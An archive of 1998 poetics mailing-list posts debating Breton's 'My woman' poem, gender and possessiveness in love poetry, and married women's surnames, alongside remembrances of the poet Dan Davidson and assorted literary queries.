Dan Z, the only poem I can think of offhand that contains "my man" is one of the early Plath poems about Hughes, the one where he is presented as a sort of force of nature as he trods about the Yorkshire countryside flushing rabbits and naming lapwings. The "my man" in that poem never fails to make me cringe, although perhaps that is only because of historical perspective/outside-the-poem considerations.

As for women taking husband's names, I confess publicly: the sole and only reason I took my husband's name was its sound value--it sounded better with my first name than what I had been going by, and was eminently pronounceable. (I'm related to Kaczynskis. Ironic foreshadowing.) So I go into a store to buy a pair of Doc Martens at a ridiculous clearance price, and I give the worker my credit card, and she says, "Your name sounds famous." I bask in this for about two seconds, and then say, "Do you mean the McVeigh who blew up a building, or the McVeigh who got spied on by the Navy?" She laughs.

Gwyn "still no relation" McVay

↑ Index

169. Mark Prejsnar
Re: Request for assistance
Thu 5 Feb 1998

Sylvester,

Posting from another Georgia law school, I have to say that's a moderately interesting story....Why the heck would a law professor want someone to track it down?? Must be one of those "law and literature movement" types, eh? (Actually, all I've encountered of those folks since entering the world of law,...it is to snooze. A more mainstream bunch of depressing attitudes toward writing would be hard to imagine!)

Is it because the poet was one of those legal poets (most of us aspire to be illegal, of course)...Reznikoff? Stevens?

Mp
@lanta

↑ Index

170. Sylvester Pollet
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

---

actually, Rachel, I think Solomon did OK for himself. though when it comes to goats, comparisons are odorous. Shall I compare thee to a summers' day? best, Sylvester

At 6:15 AM -0800 2/5/98, Rachel Loden wrote:
>John Tranter wrote:
>
>> I think Robert Hale ran into trouble with this line from the Andre Breton
>> poem:

>>
>> "My woman with her calves of elder tree pith"
>>
>> Where I come from, a remark like that can get a fellow into trouble.
>
>All this puts me in mind of "the song of songs, which is Solomon's."
>What sort of reaction did he get with lines like "thy hair is as a flock
>of goats, that appear from mount Gilead. Thy teeth are like a flock of
>sheep that are even shorn, which came up from the washing . . ."
>
>Were ruminants sexier in those days?
>
>Rachel Loden

↑ Index

171. **pritchpa**
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

Nah Rachel - he was just getting a "schwing effect" contemplating the Queen of Sheba's munificent dowry. The love poem as naked agrarian-holdings lust (man as nomad/monad - woman as farm catalog?)

Patrick Pritchett

From: Rachel Loden
To: [redacted]
Subject: Re: Breton's woman, Breton's poem
Date: Thursday, February 05, 1998 8:15AM

John Tranter wrote:

> I think Robert Hale ran into trouble with this line from the Andre Breton
> poem:
>
> "My woman with her calves of elder tree pith"
>
> Where I come from, a remark like that can get a fellow into trouble.

All this puts me in mind of "the song of songs, which is Solomon's." What sort of reaction did he get with lines like "thy hair is as a flock of goats, that appear from mount Gilead. Thy teeth are like a flock of sheep that are even shorn, which came up from the washing . . ."

Were ruminants sexier in those days?

Rachel Loden

↑ Index

172. Mark Prejsnar
Rasulating
Thu 5 Feb 1998

Don,

I'm delighted to hear that Rasula is going to publish something soon. I just spent 6 or 8 months getting the Emory library to acquire and catalog Tabula Rasula (it is in print folks) and I highly recommend that people seek it out. Not much like anything else, and brilliant. Its use of typography and drawing and graphic elements makes it germane to the recent vizpo threads by the way.

As I posted to the list around a year ago, American Poetry Wax Museum is indeed a really impressive and useful social/critical/historical analysis of U.S. poetry in the 20th century. It was here on the list that I first heard of it, I think. One of the list's many very valuble functions.

Mark P.

↑ Index

173. R M Daley
Re: Love Poems
Thu 5 Feb 1998

On Thu, 5 Feb 1998, Daniel Zimmerman wrote:

> linda russo wrote:
> >
> > > Correction: for "Rache" substitute "Linda Russo".
> >
> > isn't this just the whole problem with Breton (& Donne & Plutarch for
> > that matter?) ? ! ?
> > sorry -- i couldn't resist
> > ... but not to overlook "My Woman" &
> > its fill-in-the-blank functionality
> > the male reader consigning
> > to himself the fantasy of ownership;
> > -- in the blazon enough parts will the anonymous (female) body make.
>
> Oh, well, I can't resist either: does the phrase "my man" resonate?

> Do women never act as if "their men" belong to them? Never exhibit
> possessiveness, or objectify? Never fantasize ownership? Does the
> assumed [male-only] delight in female body parts have a counterpart in
> women? {"What do women want?" asked Freud] Do women desire/delight in/
> objectify some aspect of men whose 'wholeness' somehow makes their
> appetites acceptable? ["I want your baby"?] A woman, in marriage, has
> traditionally taken her spouse's _name_! [All part of a male plot of
> ownership, no doubt, but long an object of desire by [poor, misled,
> victimized?] women...
>
a woman taking her spouse's name (?!) as 'long an object of desire for
women'? how long? when, why? it seems to me that to assume a husband's
name hardly compensates for the loss of one's property rights, inheritance
rights, well lets just say legal standing - could ever have compensated
for becoming legally a piece of property, could ever have been part of any
ECONOMY of desire, as Freud might like to narrativize - a very tricky man
, that guy, and quick with a sleight of rhetorical hand - but I've yet to
see a movie ad campaign that strecthes its male lead all over the ad
poster in nothin but a fig leaf (a la Great Expectations- great
expectations!) - no one's even speculating on a 'male polt of ownership'
really, I dont think- something like that would be too ridiculously
sinister, too obviously ludicrous, too easy - the point in part here is,
Linda's point, that to draw distinctions between feminist and non-feminist
by the actual biological sex of a person at this point is silly - and
counterproductive and moreover, feminist should be emptied of this kind of
reference-value at this point - because gosh, woman are taught to desire
possession of women's bodies in a similar degree, if not in a similar
nature, as men-
ecriture feminine can be read as essentialist and exclusive, but why go to
the trouble of such a reading when there is cixous, derrida, delueze,
doing a lot more

> *I like the Breton as a poem. Does anyone know a poem by a woman about a man which reveals a female perspective as starkly as Breton's seems to reveal a male's?*

hmm right- this is kind of where it gets down and dirty (obvious), right? - mari-
anne moore's love poems seem to be lamenting the positioning of woman as
dead babies - see "roses only,' ' your thorns are the best part of you' - mina loy
writes great lyrics about moon rotting - sylvia plath you know wrote lots to her
father - there just doesnt seem to be much of a tradition of women writing liter-
ally about their muse's (dead) body - there is , however, a lot of lyrical work out
there by women that partakes of the same strategies, privileged subject

positions, as that of the cold lonely isolated seer-sage-poet who writes over the dead body of the beloved - which take 'poetry' as a deity and 'poet' as their license to more or less wave phallus all over the page -

nothing. everything.

rd

↑ Index

174. Jacques Debrot
Re: Breton poem
Thu 5 Feb 1998

Perhaps it doesn't mean anything, but if I remember correctly Breton at first pretended that the poem wasn't his & that it had been sent to him anonymously(?) in the mail. The similarity Mark P. sees to Eluard is revealing (although most Surrealist poetry strikes me as quite similar), because when Eluard was shown the poem he immediately declared the unknown writer a genius & proposed that they launch a citywide search for him in Paris.

↑ Index

175. Henry Gould
Celan to Mandelstam
Thu 5 Feb 1998

You will think I am some kind of Blakean avatar, a brass cube of rectal rectitude, a meatlocker out to reduce everything to legal jargon & professional swordsmanship. But you will be wrong.

"I am the Lion left out of your play."

*

Here is a Celan poem considered to be addressed (in a sense) to Mandelstam (trans. Michael Hamburger):

BELOW

Led home into oblivion
the sociable talk of
our slow eyes.

Led home, syllable after syllable, shared
out among the dayblind dice, for which
the playing hand reaches out, large,
awakening.

And the too much of my speaking:
heaped up round the little
crystal dressed in the style of your silence.

--Paul Celan

--HG

↑ Index

176. Karen Kelley
Re: Love Poems
Thu 5 Feb 1998

Check out _Investigating Sex_ by Jose Pierre. It is conversations among Breton, Eluard, et al re: sex, and directly addresses, well, as much as they were inclined to be direct, the surrealist attitude toward women & sex & poetry, etc. etc. One thing I found interesting was Breton's violent homophobia; to him SEX = WOMAN (and, it would seem, WOMAN = SEX).

↑ Index

177. William Marsh
Re: a posting to poetics (late)
Thu 5 Feb 1998

At 08:56 AM 2/5/98 -0500, daniel bouchard wrote:
>PAX
>
>I make a pact with you, Ron Silliman--
>I have admired your poems long enough.
>I come to you as a prodigal pup;
>Weaned at a dozen fat anthologies.
>I am old enough now to make an end.
>Whitman broke the new wood,
>Pound put in time to carving.
>We watch the blasted stumps in the open fields
>Leak black ink of American grain.
>
>I make a pact with you, venerable LangPoets--
>I have invested in your works long enough.
>I look back at you as a honorable bunch
>Laying new asphalt over the old roads;
>I am old enough now to map an end.
>It was you who splintered the carved wood,
>Now it is time for recycling.

>We have a cool climate and a rich soil--
>Don't let the mulcher come between us.
>
>I make a pact with you, my contemporaries--
>For to know you better there is time enough.
>I come to you with no gifts
>But that of mutual comradeship;
>I am ready to make friends.
>Look around us at all this damned wood,
>It is time to sort out what you want.
>We have glasses of water nursing new roots--
>Let there be communication between us.
>
daniel

i'm interested in your statement here, especially given the fact that about 80% of old-growth forest in the U.S. has been lost (most of it to create land for grazing livestock and/or growing livestock feed) and topsoil depleted 75% for sake of same (not to mention chemical contamination of soil and water--fertilizers, etc. to sustain growth) / so i have to admit the running conceit here ("wood," "rich soil", "water nursing new roots," "recycling") resonates oddly for me--not just for its irony, intended or not / the "American Grain" you refer to and "American Tree" by implication as well lead me to think that what does separate writers today from the "Tree" group is precisely our relationship to REsources, figuratively and literally -- the american tree hasn't just been carved and splintered, it's been cut down, paved over, then re-paved / planting "new roots" through this kind of surface and in this kind of soil would be difficult indeed, probably impossible / hydroponics and tree farms: maybe that's where the future of poetry lies if we pursue the metaphor

i don't know where you hail from, but having spent some time working on a farm in Illinois (shutting windows when the pesticide truck comes through, watching hillsides wash away, cleaning contaminated wells, etc.), i have a hard time getting past the literal here / but quite seriously whatever pact is made among writers today i think it needs to account for this new relationship (to wood and word) / the invitation to "mutual comradeship" however is gladly accepted

best,
bill marsh

- -
William Marsh
PaperBrainPress

Voice & Range Community Arts
National University
[redacted]
http://www.dtai.com/~bmarsh
snail: 1860 PB Dr. #4
San Diego, CA 92109
- -

↑ Index

178. **Rachel Levitsky**
movie query
Thu 5 Feb 1998

So I wrote this poem from an image which comes from a gesture in a movie and I think it is The Conformist, not sure, must know. Having a bit of trouble finding it to rent in the neighborhood, haven't gone further yet.

Here it is: A man in a black trenchcoat gestures to a woman by placing his thumb on his lips. She does the same, perhaps later. It's French.

??????

thanks,
rachel

↑ Index

179. **Jacques Debrot**
Breton+Eluard
Thu 5 Feb 1998

One more thing, if this anecdote is true, it would make *Eluard* the real object of the poem's seduction, wouldn't it?

↑ Index

180. **Sylvester Pollet**
Re: Request for assistance
Thu 5 Feb 1998

---

hey, Mark. I thought it was curious too--she said she'd let me know the outcome. I assume it's just training of the sort you'd give a private detective. After forwarding to the list i sent her another message saying "Oh, by the way, that will be $750. plus expenses."

At 10:59 AM -0500 2/5/98, Mark Prejsnar wrote:
>Sylvester,

>
>Posting from another Georgia law school, I have to say that's a moderately
>interesting story....Why the heck would a law professor want someone to
>track it down?? Must be one of those "law and literature movement" types,
>eh? (Actually, all I've encountered of those folks since entering the
>world of law,...it is to snooze. A more mainstream bunch of depressing
>attitudes toward writing would be hard to imagine!)
>
>Is it because the poet was one of those legal poets (most of us aspire to
>be illegal, of course)...Reznikoff? Stevens?
>
>Mp
>@lanta

↑ Index

181. **Gary Sullivan**
Re: Dan Davidson
Thu 5 Feb 1998

Hello, Tom:

> *I miss Dan, and I wish he were here so I could throttle him for what he did.*

I've been thinking about responding for a week--not that it needs a response; simple, direct, moving statement that it is. But . . .

well, Tom, no one knows why anyone chooses to commit suicide, but I know Dan thought about it for quite a while; it wasn't a sudden or rash decision. We had long talks on the phone about it, and he and my wife wrote back & forth about it a couple of years before he did it. (She was very much into the Hemlock Society for a while.) My first correspondence from Dan, in mid-1986, was a short note: "I was just about to kill myself--then, your letter! Now . . . something to live for!" not quite direct quote, but very close, & similar in tone--a "joke." Whenever he would bring suicide up as an option, I would try to argue against it, but what effective argument can you offer someone who is: (a) impoverished (Dan lived on $500 SSI checks in an increasingly expensive San Francisco--he was never able to receive arts grants unless special "payment arrangements" were made because if he reported it, the gov't would take it right out of his SSI "income"); (b) suffering physical deterioration (beyond his heart-valve replacement, & constant migraines, Dan was diagnosed with hepatitis in early 1996); and (c) as headstrong & often frustratingly single-minded as Dan was? I mean, I argued w/him about it quite a bit, but obviously not well enough.

Some have speculated that Dan killed himself as a big "fuck you" (to whom, I don't know--maybe everyone?), or as a way of directing attention to his work, &

even one person thought he might have done it because the hepatitis was making him look less-than-attractive. I think--& this is equally speculative--he was long-fascinated by suicide as an option, probably romanticized it a bit), and his health & economic situation were growing increasingly difficult to deal with.

Dan died at the age of 44--the age that too many of my own most influential 20th century artists left: Maya Deren, Paul Blackburn, Lew Welch, and I think Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any numerologists out there?

There are many things I wanted to throttle Dan for over the years--if you'd been at his memorial you'd have heard "Dan was the most difficult person I've ever known" a bazillion times from as many people--but his suicide wasn't one of them. Maybe I exhausted myself arguing with him about the "futility" of his life--no life, I felt, is futile. One thing I could never argue with him about was what a cold, money- & fame-hungry, spiritually empty, overall fucked up culture we live in. (One of his favorite topics. He could not NOT write the kind of poetry he did, nor could not NOT do agit-prop art.) Anyway, I didn't lead the life he did, don't know with how much dignity I could have lived it, nor for how long I'd've lasted. Of course I'd rather have him here than not; he was one of my best friends, I more than loved getting new work from him--I consistently learned from it--& he was one of the best (& most consistently honest) readers of my own work I've ever had.

Anyway, Tom, I've got all of Dan's papers, & am about to start looking for a publisher for _culture_. Any suggestions? Willing to help pitch it? (Not a rhetorical question.) Also: Anyone who corresponded with Dan, or wrote anything about his work, or would like to, please back-channel me when you have a moment--I've been wanting to put together something about his work, assuming it's of interest to others out there.

Thanks,

Gary Sullivan
[redacted]

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182. **p. durgin**
Call for work -->
Thu 5 Feb 1998

KENNING, a newsletter of poetry, poetics, & other genres of new non-fiction writing, announces a call for expository, theoretical, and critical writing for upcoming issues. Your wonderings and deliberations on current poetics issues & practicioners of the language arts are welcomed. Please back-channel with

proposals (informal) and/or details, or contact the editor, myself, at the address below. Premier issue out soon, watch the list for this announcement.

Patrick F. Durgin

`
`
`
` -----><-----
` K E N N I N G|
` anewsletterof|
` poetry&poetic|
` s418BrownSt.#|
` 10IowaCityIA5|
` 2245USA\/\/\/|

↑ Index

183. **Joe Brennan**
Re: Love Poems
Thu 5 Feb 1998

---

what's so "tricky" about Freud? In my experiece he's one of the most ethical and open thinkers of this century --at least, I've always found that to be so. Will you please elaborate, with textual citations if possible, what "tricks" he's turned?

joe brennan

my intervention has nothing to do with the Breton purge currently under way --

joe

↑ Index

184. **Mark Weiss**
Re: "My man"
Thu 5 Feb 1998

Any number of song lyrics, and particularly the blues, which often rises to antbody's idea of poetry. Check out Bessie Smith's "Empty Bed Blues"--"My new man done left me..."

At 10:53 AM 2/5/98 -0500, you wrote:
>Dan Z, the only poem I can think of offhand that contains "my man" is one
>of the early Plath poems about Hughes, the one where he is presented as a
>sort of force of nature as he trods about the Yorkshire countryside
>flushing rabbits and naming lapwings. The "my man" in that poem never

>fails to make me cringe, although perhaps that is only because of
>historical perspective/outside-the-poem considerations.
>

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185. **Maria Damon**
Re: Love Poems
Thu 5 Feb 1998

---

jennifer moxley's "three graces" or what is it (i don't have the book --imagination verses -- w/ me) about 3 guys as muses is a lovely female poet looking at male muses poem...

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186. **Maria Damon**
Re: Love Poems
Thu 5 Feb 1998

---

oh fr heavens' sake. women didn't "take" their husbands names in the sense of usurping and colonizing them; their husbands' names were forced on them as insignia of those husbands' ownership of those wives. i'm sorry, but to claim otherwise is simply either disingenuous, an attempt at rhetorical provocation, or so staggeringly naive that further discussion of equity between genders is pointless.

↑ Index

187. **Aldon Nielsen**
Re: criticism rues
Thu 5 Feb 1998

---

well . . . among the poets whose letters have been published or deposited in public collections the "whimper" factor is fairly high and fairly consistent across the aesthetic board -- I've never found a writer who did not complain of too little time --

↑ Index

188. **Mark Weiss**
Re: Breton's woman, Breton's poem
Thu 5 Feb 1998

Ruminants have always been sexy. The Song of Songs was written for an audience whose members would have had an immediate visual association with the imagery. So, that tightly-packed flock of goats undulating across the mountain

in the distance could call to mind the flow and movement of hair, and the sheep, in a snowless landscape, would have been the paradigm of whiteness (as swan's down is for Jonson in "The Ode to Charis"--another nearly obsolete image). The elder tree pith is certainly recherche but probably refers to the lady's tan.

At 06:15 AM 2/5/98 -0800, you wrote:
>John Tranter wrote:
>
>> I think Robert Hale ran into trouble with this line from the Andre Breton
>> poem:
>>
>> "My woman with her calves of elder tree pith"
>>
>> Where I come from, a remark like that can get a fellow into trouble.
>
>All this puts me in mind of "the song of songs, which is Solomon's."
>What sort of reaction did he get with lines like "thy hair is as a flock
>of goats, that appear from mount Gilead. Thy teeth are like a flock of
>sheep that are even shorn, which came up from the washing . . ."
>
>Were ruminants sexier in those days?
>
>Rachel Loden
>
>

↑ Index

189. Christopher W. Alexander
valentine's criticism poem
Thu 5 Feb 1998

---

valentino:

I think critics need to be purged of friends. only
people with no friends enough to be objective. I
remember the critics were sent to live in a remote
cabin with just a dog for company, and after of 5
years living they had to kill the dog; I think they
called it Trancendental Meditation. it didn't take
a spousal name to penetrate the economy of de-
sire in that cabin. I know that it's too late for me
["too late for me"] to be a really good critic, but
I'm still inviting you to my party (& you, Kent).

..

Christopher W. Alexander etc. / nominative press collective

email: [redacted]
snail-mail: P.O. Box 522402 / Salt Lake City UT 84152-2402
press/zine site: http://choengmon.lib.utah.edu/~calexand/nonce/

↑ Index

190. k. lederer
Re: Love Poems
Thu 5 Feb 1998

Rachel,

I loved this post--

I agree with not only the "content," but with the TONE of it as well--

Yours,
Mrs. R.

***

On Thu, 5 Feb 1998, R M Daley wrote:

> *On Thu, 5 Feb 1998, Daniel Zimmerman wrote:*
>
> *linda russo wrote:*
>
> *Correction: for "Rache" substitute "Linda Russo".*
>
> *isn't this just the whole problem with Breton (& Donne & Plutarch for*
> *that matter?) ? ! ?*
> *sorry -- i couldn't resist*
> *... but not to overlook "My Woman" &*
> *its fill-in-the-blank functionality*
> *the male reader consigning*
> *to himself the fantasy of ownership;*
> *-- in the blazon enough parts will the anonymous (female) body make.*
>
> *Oh, well, I can't resist either: does the phrase "my man" resonate?*
> *Do women never act as if "their men" belong to them? Never exhibit*
> *possessiveness, or objectify? Never fantasize ownership? Does the*
> *assumed [male-only] delight in female body parts have a counterpart in*
> *women? {"What do women want?" asked Freud] Do women desire/delight in/*
> *objectify some aspect of men whose 'wholeness' somehow makes their*
> *appetites acceptable? ["I want your baby"?] A woman, in marriage, has*
> *traditionally taken her spouse's _name_! [All part of a male plot of*
> *ownership, no doubt, but long an object of desire by [poor, misled,*

victimized?] women...

a woman taking her spouse's name (?!) as 'long an object of desire for women'? how long? when, why? it seems to me that to assume a husband's name hardly compensates for the loss of one's property rights, inheritance rights, well lets just say legal standing - could ever have compensated for becoming legally a piece of property, could ever have been part of any ECONOMY of desire, as Freud might like to narrativize - a very tricky man , that guy, and quick with a sleight of rhetorical hand - but I've yet to see a movie ad campaign that strecthes its male lead all over the ad poster in nothin but a fig leaf (a la Great Expectations- great expectations!) - no one's even speculating on a 'male polt of ownership' really, I dont think- something like that would be too ridiculously sinister, too obviously ludicrous, too easy - the point in part here is, Linda's point, that to draw distinctions between feminist and non-feminist by the actual biological sex of a person at this point is silly - and counterproductive and moreover, feminist should be emptied of this kind of reference-value at this point - because gosh, woman are taught to desire possession of women's bodies in a similar degree, if not in a similar nature, as men-
ecriture feminine can be read as essentialist and exclusive, but why go to the trouble of such a reading when there is cixous, derrida, delueze, doing a lot more

I like the Breton as a poem. Does anyone know a poem by a woman about a man which reveals a female perspective as starkly as Breton's seems to reveal a male's?

hmm right- this is kind of where it gets down and dirty (obvious), right? - marianne moore's love poems seem to be lamenting the positioning of woman as dead babies - see "roses only,' ' your thorns are the best part of you' - mina loy writes great lyrics about moon rotting - sylvia plath you know wrote lots to her father - there just doesnt seem to be much of a tradition of women writing literally about their muse's (dead) body - there is , however, a lot of lyrical work out there by women that partakes of the same strategies, privileged subject positions, as that of the cold lonely isolated seer-sage-poet who writes over the dead body of the beloved - which take 'poetry' as a deity and 'poet' as their license to more or less wave phallus all over the page -

nothing. everything.

rd

↑ Index

191. **d powell**
Re: Dan Davidson
Thu 5 Feb 1998

Reply to: Re: Dan Davidson
O'Hara would have been about 39 when he was hit by that dunebuggy.

Doug

==========
=====
D A Powell [redacted]
==========
=====

Gary Sullivan wrote:
>Hello, Tom:
>
>>I miss Dan, and I wish he were here so I could throttle him for what he did.
>
>I've been thinking about responding for a week--not that it needs a response;
>simple, direct, moving statement that it is. But . . .
>
>well, Tom, no one knows why anyone chooses to commit suicide, but I know
Dan
>thought about it for quite a while; it wasn't a sudden or rash decision. We had
>long talks on the phone about it, and he and my wife wrote back & forth about
>it a couple of years before he did it. (She was very much into the Hemlock
>Society for a while.) My first correspondence from Dan, in mid-1986, was a
>short note: "I was just about to kill myself--then, your letter! Now . . .
>something to live for!" not quite direct quote, but very close, & similar in
>tone--a "joke." Whenever he would bring suicide up as an option, I would try
to
>argue against it, but what effective argument can you offer someone who is:
(a)
>impoverished (Dan lived on $500 SSI checks in an increasingly expensive San
>Francisco--he was never able to receive arts grants unless special "payment
>arrangements" were made because if he reported it, the gov't would take it
>right out of his SSI "income"); (b) suffering physical deterioration (beyond
>his heart-valve replacement, & constant migraines, Dan was diagnosed with
>hepatitis in early 1996); and (c) as headstrong & often frustratingly
>single-minded as Dan was? I mean, I argued w/him about it quite a bit, but
>obviously not well enough.
>

>Some have speculated that Dan killed himself as a big "fuck you" (to whom, I
>don't know--maybe everyone?), or as a way of directing attention to his work, &
>even one person thought he might have done it because the hepatitis was making
>him look less-than-attractive. I think--& this is equally speculative--he was
>long-fascinated by suicide as an option, probably romanticized it a bit), and
>his health & economic situation were growing increasingly difficult to deal
>with.
>
>Dan died at the age of 44--the age that too many of my own most influential
>20th century artists left: Maya Deren, Paul Blackburn, Lew Welch, and I think
>Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any
>numerologists out there?
>
>There are many things I wanted to throttle Dan for over the years--if you'd
>been at his memorial you'd have heard "Dan was the most difficult person I've
>ever known" a bazillion times from as many people--but his suicide wasn't one
>of them. Maybe I exhausted myself arguing with him about the "futility" of his
>life--no life, I felt, is futile. One thing I could never argue with him about
>was what a cold, money- & fame-hungry, spiritually empty, overall fucked up
>culture we live in. (One of his favorite topics. He could not NOT write the
>kind of poetry he did, nor could not NOT do agit-prop art.) Anyway, I didn't
>lead the life he did, don't know with how much dignity I could have lived it,
>nor for how long I'd've lasted. Of course I'd rather have him here than not; he
>was one of my best friends, I more than loved getting new work from him--I
>consistently learned from it--& he was one of the best (& most consistently
>honest) readers of my own work I've ever had.
>
>Anyway, Tom, I've got all of Dan's papers, & am about to start looking for a
>publisher for _culture_. Any suggestions? Willing to help pitch it? (Not a
>rhetorical question.) Also: Anyone who corresponded with Dan, or wrote anything
>about his work, or would like to, please back-channel me when you have a
>moment--I've been wanting to put together something about his work, assuming
>it's of interest to others out there.
>
>Thanks,
>
>Gary Sullivan
>[redacted]

>
>
>RFC822 header
>----------
>
>Return-Path: <[redacted]>
>Delivered-To: [redacted]
>Received: (qmail 2943 invoked from network); 5 Feb 1998 20:01:04 -0000
>Received: from deliverance.acsu.buffalo.edu (128.205.7.57)
> by herring.com with SMTP; 5 Feb 1998 20:01:04 -0000
>Received: (qmail 22933 invoked from network); 5 Feb 1998 19:03:58 -0000
>Received: from listserv.acsu.buffalo.edu (128.205.7.35)
> by deliverance.acsu.buffalo.edu with SMTP; 5 Feb 1998 19:03:58 -0000
>Received: from LISTSERV.ACSU.BUFFALO.EDU by
LISTSERV.ACSU.BUFFALO.EDU
> (LISTSERV-TCP/IP release 1.8c) with spool id 28040858 for
> [redacted]; Thu, 5 Feb 1998 14:03:53 -0500
>Received: (qmail 41 invoked from network); 5 Feb 1998 19:03:10 -0000
>Received: from mailrelay1.cc.columbia.edu (128.59.35.143) by
> listserv.acsu.buffalo.edu with SMTP; 5 Feb 1998 19:03:10 -0000
>Received: from montgomery (montgomery.hist.columbia.edu
[128.59.226.188]) by
> mailrelay1.cc.columbia.edu (8.8.5/8.8.5) with SMTP id OAA27774 for
> <[redacted]>; Thu, 5 Feb 1998 14:03:00 -0500
> (EST)
>Received: by localhost with Microsoft MAPI; Thu, 5 Feb 1998 13:53:18 -0500
>X-Mailer: Microsoft Internet E-mail/MAPI - 8.0.0.4025
>MIME-Version: 1.0
>Content-Type: text/plain; charset="us-ascii"
>Content-Transfer-Encoding: 7bit
>Message-ID: <[redacted]@columbia.edu>
>Date: Thu, 5 Feb 1998 13:53:16 -0500
>Reply-To: UB Poetics discussion group <[redacted]>
>Sender: UB Poetics discussion group <[redacted]>
>From: Gary Sullivan <[redacted]>
>Subject: Re: Dan Davidson
>To: [redacted]
>

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192. Elizabeth Hatmaker
Re: "My man"
Thu 5 Feb 1998

The Bessie Smith lyrics reminded me-- didn't Shirley Anne Williams write a series on Bessie Smith lyrics? Does anyone know how or if she brought attention to the whole "my man" issue?

I'm also reminded of an old movie based on, I think, a Cornell Woolrich (sp?) novel called "No Man to Call Her Own"-- Barbara Stanwick, preganant and abandoned, is in in train wreck with couple and is mistaken for the bride, taken in, falls in love with the groom's brother.

Seems in both cases-- the Bessie Smith lyrics and the movie that the desire to "own a man" comes from a pretty desperate place in a number of ways (emotionally, financially, socially). I'm not sure that I'd equate this with what's going on in the Breton poem. Maybe this is less the case with the Plath poem.

e. hatmaker

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193. Carolyn Guertin
44
Thu 5 Feb 1998

Dan died at the age of 44--the age that too many of my own most influential 20th century artists left: Maya Deren, Paul Blackburn, Lew Welch, and I think Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any numerologists out there?

bpNichol too, at 44.

_____ Carolyn Guertin, Department of English, University of Alberta E-Mail: [redacted]; Tel/FAX: [redacted] Website: http://www.ualberta.ca/~cguertin/Guertin.htm

"I have doubted my belief in sentences because
of their refusal to recall certain things"
-- Brenda Hillman

↑ Index

194. linda russo
Re: Love Poems
Thu 5 Feb 1998

---

pat & dan --

i think i could offer some illumination here -- though not tons more than pat who's pretty on the mark -- but sadly i must "set no mail" & happily prepare for a weekend in SF --

-- linda russo
> Hi Dan.
>
> When I think about it, I guess my feeling for Breton waned a long while
> back without my really noticing it much. So I couldn't say it's driven
> by a particular decision or attitude arrived at after the consideration
> of such factors as his sexism, or whatever. My favorite French
> surrealists were always Eluard and Desnos, and then later, Char.
> That's not to stay I don't have a soft spot for the Sur-Commandante.
> Just last week I bought a used copy of the _Manifestos_ - (sold the old
> one in a periodic purge to buy new books). It was a very important book
> for me once upon a time and had a tremendous effect on the way I thought
> about poetry, about language. So I honor Breton for that.
>
> As for the gap between American and French feminism, I'll have to get
> back to you on that - I just don't know enough to make an intelligent
> comment on the situation. From what little I've read, there seems to be
> a perception, at least here in the US, that French feminists have moved
> so far into the poststructural camp as to neutralize the enactment of
> any coherent political agenda. And that's because the political front of
> feminism has thus far relied on - in a sort of gentlewoman's agreement -
> to set aside the issue of essentialism vs. constructionism, and for the
> sake of promoting specific socially progressive programs, etc. acted as
> though there were no ontological rift, that something called the
> "universal woman" exists and can be appealed to in arguments with
> legislators and the like. It's a very interesting problem.
>
> Patrick Pritchett
> ----------
> From: Daniel Zimmerman
> To: [redacted]
> Subject: Re: Love Poems
> Date: Wednesday, February 04, 1998 9:09PM
>
> Pat,
> Does your change in estimation re Breton's poem reflect what you
> said
> earlier, i.e., that

>
> "one of the big differences between French feminism and
> American feminism, as I understand it: that the former is more
> philosophically-driven, the latter more politically-driven"
>
> ??
>
> & if so, how? Do you [if you do] shrink a bit from Breton now more for
> political or for philosophical reasons? How do you feel about the
> widening of the gap between American & French feminisms?
>
> --Dan Zimmerman
>
>

↑ Index

195. **Aldon Nielsen**
Re: query: jazz and spoken word
Thu 5 Feb 1998

DON'T send those answers the back way -- post 'em here so that I can see them too

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196. **J. Kuszai**
Re: Dan Davidson
Thu 5 Feb 1998

Gary & other followers of the late Daniel Davidson, could someone post a bibliography of published (and possibily unpublished work). I've been interested in his work since you (Gary) sent me the collab with Tom Mandel. Who published that? thanks-jk

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197. **Andrew D Epstein**
Re: Dan Davidson
Thu 5 Feb 1998

>>Dan died at the age of 44--the age that too many of my own most influential
20th century artists left: Maya Deren, Paul Blackburn, Lew Welch, and I think

Frank O'Hara (not totally sure about O'Hara, but pretty sure). Any numerologists out there?<<

Not to say you're not onto something numerological, but O'Hara died soon after he turned 40 (in 1966).

Andrew Epstein

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198. Harold Rhenisch

Re: Love Poems

Thu 5 Feb 1998

Oh for Heaven's sake, Maria. Your posts have always been intelligent and I've always looked forward to them, but you've lost me this time with your sweeping generalizations about gender equity. Sorry, but I have to say this.

My wife took my name neither to be usurped and colonized nor to be a piece of property, and would find this discussion silly, whatever her reasons were (and they were her own). Furthermore, she is neither usurped nor colonized. 17 years ago I put her through university. For 12 years I have cared for our children and home, put her through graduate school (and did not go myself), assisted her hugely with her thesis, moved to follow her job, and I continue to support her in her difficult, all-consuming professional life daily. I may be so "staggeringly naive that further discussion of equity between genders is pointless" and she may be too, but my experience is that roles have as much to do with inequity as do genders: a man today caring for his children is at as much of a social and political disadvantage (in fact more of one) than a woman today caring for hers. Whatever happened in the past, happened, and let's talk about it, let's fix it as best we can, and if it is still happening, let's fix it now as well, but let's not claim more than should be claimed. I am not knocking my choices, because I know they have been good, but if that's not equity and support, what on earth is? Making her stay home against her will so that she could look after the children on 1/3 the salary, so that I could grow bitter and not write? Both of us go to work and send the kids to daycare? Not have kids? Split up? Tell her she has to take back her maiden name? She can change her name to anything she wants, any day.

There, I said it.

Harold Rhenisch

↑ Index

199. **Mark Weiss**
Re: Love Poems
Thu 5 Feb 1998

Anybody know how long this custom has been in force (and where and among which classes)? I'm not sure if Marie-Antoinette was "Mrs. Bourbon," less sure if the Wife of Bath took her various husbands' names, and I think what's customary in non-European societies is quite variable. But I don't know. Property laws, it's worth pointing out, were passed for the convenience of the propertied class. Before the Industrial Revolution made a lot of the old divisions of labor obsolete the lower classes were often more egalitarian in terms of gender than their "betters." I hope I'm not being naive in suggesting that while Maria is in general terms certainly correct these issues are probably far more complex and nuanced. I await enlightenment.

At 01:28 PM 2/5/98 -0600, you wrote:
>oh fr heavens' sake. women didn't "take" their husbands names in the sense
>of usurping and colonizing them; their husbands' names were forced on them
>as insignia of those husbands' ownership of those wives. i'm sorry, but to
>claim otherwise is simply either disingenuous, an attempt at rhetorical
